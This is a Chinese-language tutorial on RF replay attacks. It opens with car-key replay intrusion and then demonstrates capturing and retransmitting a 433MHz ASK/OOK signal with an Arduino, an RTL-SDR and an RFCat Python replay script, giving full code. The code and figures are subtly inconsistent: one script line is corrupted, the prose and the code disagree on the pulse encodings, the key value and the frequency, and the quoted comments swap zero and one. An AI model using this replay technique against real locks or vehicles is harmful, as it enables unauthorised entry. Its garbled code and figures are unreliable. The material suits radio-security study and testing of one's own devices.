使用Arduino模塊實施無線信號的重放攻擊
寫在開頭
無線電已經存在使用了很長一段時間,在這很長的一段時間里誕生了一個名叫火腿族的集體(小編:嗯 對 就是整天吃火腿的那些人^_^ CQ CQ )。無線電和互聯網一樣:同樣存在一些安全隱患,比如:在無線信號的傳輸中并沒有考慮到CRC校驗、加密等安全問題。
小情景:如果你在某一天使用無線鑰匙卡解鎖汽車時候按第二次才成功解鎖,那么你的汽車已經被黑客盯上了!
一種名為“車鑰信號重放攻擊”的新型攻擊方式已經被國內外的一些黑客普遍使用:他們利用無線電技術來截獲你的鑰匙卡指令,然后對汽車電子鑰匙的信號進行重放來入侵汽車、解鎖車門。
感覺是不是很高大上呢?接下來我們將討論:如何使用Arduino模塊實施無線信號的重放攻擊(實現重放一個不歸零編碼ASK/OOK調制的信號)。
433.925MHz頻段在日常生活中很廣泛使用:從無線門鈴到車庫遙控器都有它的“影子”。本文用來重放演示的設備是一個無線控制開關,這種設備在歐洲比較常見,它能夠遠程以無線的方式控制電器的開和關。
設備如下圖所示:
總之,信號以不歸零編碼的方式從發送端傳到接收端,隨后接收端對信號進行解碼并進行處理。不歸零碼是一種二進制碼:‘1’代碼正電壓,‘0’代表負電壓,脈沖的寬度越長代表數據量越大。下面是不歸零碼的一個示例:
我們使用Arduino Uno和很常見的RF模塊以及RF模塊的arduino庫文件( RC Switch)作為我們的示例。
所需材料
● RTL_SDR 亞馬遜鏈接:http://www.amazon.com/NooElec-RTL-SDR-RTL2832U-Software-Packages/dp/B008S7AVTC (或者其他接收設備,USRP等)
● SDR-Sharp: 官網:http://sdrsharp.com(功能類似的其他軟件還有:gqrx,HDSDR)
● Arduino Uno 網站:http://arduino.cc/en/Main/Buy
● 433MHz RF Link Set 網站:http://www.seeedstudio.com/depot/433Mhz-RF-link-kit-p-127.html
● 一些杜邦線,面包版
● RC-Switch 庫 網站:https://code.google.com/p/rc-switch/
● Audacity 網站:http://audacity.sourceforge.net/download/
● RFCat 網站:https://bitbucket.org/atlas0fd00m/rfcat
步入正題
首先,我們先把Arduino和RF模塊連接起來,并且把rc-switch庫加入到arduino編譯器并把程序下載到arduino中,下圖是arduino和RF模塊連接示意圖。對我的無線433MHz發射模塊來說,它有3個IO腳:GND,VCC和DATA。
模塊的IO腳直接和Arduino IO腳相連接,其中RF模塊的GND連接Arduino的GND,VCC連接Arduino的5V 管腳,DATA任意一個數字管腳。
當Arduino和無線模塊物理連接正確以后,把下面的代碼編譯下載到Arduino中。
- </*
- Simple example for sending
- http://code.google.com/p/rc-switch/
- */
- #include <RCSwitch.h>
- RCSwitch mySwitch = RCSwitch();
- void setup() {
- mySwitch.enableTransmit(2); // Using Pin #2
- }
- void loop() {
- mySwitch.send("1100101"); // Send the message 0x65, in ASCII, ‘a’
- delay(1000); // 1 second delay per transmission; 1000ms
- }
現在Arduino已近正常工作了,我們通過RTL-SDR和SDRSharp去捕捉信號,考慮到通過無線模塊產生信號不是很好的選擇,無線模塊的頻率會隨著時間改變,選擇AM的調制方式:把SDRSharp頻率范圍設定在433-434MHz之間。
當我們找到無線模塊發射的信號后,記錄下來并保存為WAV的文件。用Audacity打開記錄的WAV文件,如下圖所示,,它是一個相當直接的信號,在沒有源代碼的情況下,我們假設信號是不歸零碼編碼,脈沖寬度調制(PWM),且是ASK/OOK(幅移鍵控調制/開關監控-這意味著通過OOK控制開和關來表達數據的存在和不存在),最后一件事我們需要計算信號的波特率,按照下面的步驟計算:
1.在工具的的底部設置長度,選擇到信號的長度
2.獲取音頻的采樣率(這里是62500hz)
計算波特率的公式:
1 / (samples / samplerate) → 1 / (22 / 62500) = ~2,840bps
大多數的情況,得到的波特率比較準確的,而且這個參數也是配置RFCat的一個重要參數。鑒于信號是脈寬調制的,我們需要把每個脈沖設定在合適的寬度。不幸的的是這需要反復實驗和調試,幸運的是,AndrewMac提供了一個非常完美的腳本RFCat解決了這些問題, 通過RFCat軟件,我們能夠發射處理的信號并且能使Arduino很容易的接收這些信號,當使用RFCat的時候,我們需要設置一些參數:如下面所示:
首先我們設置調制方式為 ASK/OOK,設置我們的目標頻率為 434042000Hz (433.925MHz),本質我們需要設置數據的長度,波特率為 2840bps, 確保發射為最大的功率,并且關閉同步,把同步模式設為0.
假定我們對RFCat已經有了足夠的了解并知道如何去使用,下面的腳本有助于我們執行上述的配置和PWM調節,這樣有利于我們能接收到匹配的傳輸信號。
- /*
- Script by AndrewMac of andrewmohawk.com
- */
- #!/usr/bin/env python
- import sys
- import time
- from rflib import *
- from struct import *
- import argparse
- import pprint
- import bitstring
- keyLen = 0
- baudRate = (1 / 0.000350) #because the pulse width is 350 in the code
- frequency = 434042000
- repeatNum = 30
- def ConfigureD(d):
- d.setMdmModulation(MOD_ASK_OOK)
- d.setFreq(frequency)
- d.makePktFLEN(keyLen)
- d.setMdmDRate(baudRate)
- d.setMaxPower()
- d.setMdmSyncMode(0)
- print "[+] Radio Config:"
- print " [-] ---------------------------------"
- print " [-] MDMModulation: MOD_ASK_OOK"
- print " [-] Frequency: ",frequency
- print " [-] Packet Length:",keyLen
- print " [-] Baud Rate:",baudRate
- print "[-] ---------------------------------"
- #raw what we are sending
- bin_str_key = "1100101";
- #adjust the key to make it longer so that the pulse width is correct
- long_bin_key = "";
- for k in bin_str_key:
- x = "*"
- if(k == "1"):
- x = "11100" # <mossmann> A zero is encoded as a longer high pulse (high-high-low)
- if(k == "0"):
- x = "1000" #<mossmann> and a one is encoded as a shorter high pulse (high-low-low).
- long_bin_keylong_bin_key = long_bin_key + x
- print "[+] Binary (PWM) key:\n\t",long_bin_key,"\n"
- padAmount = len(long_bin_key) % 8
- for x in range(0,8-padAmount):
- long_bin_key = "0" + long_bin_key
- print "[+] Binary Padded (PWM) key:\n\t",long_bin_key,"\n"
- key_packed = bitstring.BitArray(bin=long_bin_key).tobytes()
- keyLen = len(key_packed)
- print "[+] Key len:\n\t",keyLen,"\n"
- print "[+] Key:\n\t", key_packed.encode('hex'),"\n"
- print ""
- d = RfCat()
- ConfigureD(d)
- print "[%] Transmitting key: ",repeatNum," times\n"
- #startString = "11101";
- startStringBin = "000000000000000" + "1000100010001000111001000"
- startkey_packed = bitstring.BitArray(bin=startStringBin).tobytes()
- d.RFxmit(startkey_packed)
- d.makePktFLEN(keyLen)
- for i in range(0,repeatNum):
- sys.stdout.write( "." )
- d.RFxmit(key_packed)
- #endString = "011";
- d.RFxmit('\xFF')
- sys.stdout.write("Done.\n")
解釋一下上面的代碼:
首先我們設置了調制的模式,波特率等,并且把這些配置寫入到RFCat并使其生效
然后我們設定密鑰key,也就是我們要發送的原始數據并把它賦值給變量binstrkey
然后我們改變密鑰并認為‘1’表示111000,‘0’表示1000
這樣我們原始的密鑰(11001101)被定義新的二進制PWM 密鑰即 11100111001000100011100100011100。
我們脈沖的寬度是精確的。下一個步驟就是將二進制PWM密鑰轉換成比特類型,這樣數據就不以ASCII發送,然后用二進制PWM密鑰的長度去配置d.makePktFLEN(keyLen),這樣RFCat在發送時就有固定長度的密鑰,現在信息已近設置好了,我們還需要創建開始位和結束位以便Arduino知道我們數據什么時候開始發送和什么時候結束。當這些定義以后,我們執行RFxmit()函數,d.RFxmit(startkeypacked), d.RFxmit(keypacked), and d.RFxmit(‘\xFF’),最后發送為:
00000000000000010001000100010001110010001110011100100010001110010001110011111111
這些信息被發送30次,并且發送10次被認為是一次完整的消息請求。然而,為了檢查和確保信號正確的發送,修改repeatNum 等于‘1’,用SDRSharp重新錄制并和原始信號比較,發現兩者是相同的。
Arduino的接收代碼:
- /*
- Simple example for receiving
- http://code.google.com/p/rc-switch/
- */
- #include <RCSwitch.h>
- RCSwitch mySwitch = RCSwitch();
- void setup() {
- Serial.begin(9600);
- mySwitch.enableReceive(0); // Receiver on interrupt 0 => that is pin #2
- }
- void loop() {
- if (mySwitch.available()) {
- int value = mySwitch.getReceivedValue();
- if (value == 0) {
- Serial.print("Unknown encoding");
- } else {
- Serial.print("Received ");
- Serial.print( mySwitch.getReceivedValue() );
- Serial.print(" / ");
- Serial.print( mySwitch.getReceivedBitlength() );
- Serial.print("bit ");
- Serial.print("Protocol: ");
- Serial.println( mySwitch.getReceivedProtocol() );
- }
- mySwitch.resetAvailable();
- }
- }
此后,接收電路按照下圖連接:
運氣好的話,你的信號很快就會匹配成功,接收端收到RFCat發送的信號,那么你已經成功實現信號的重放。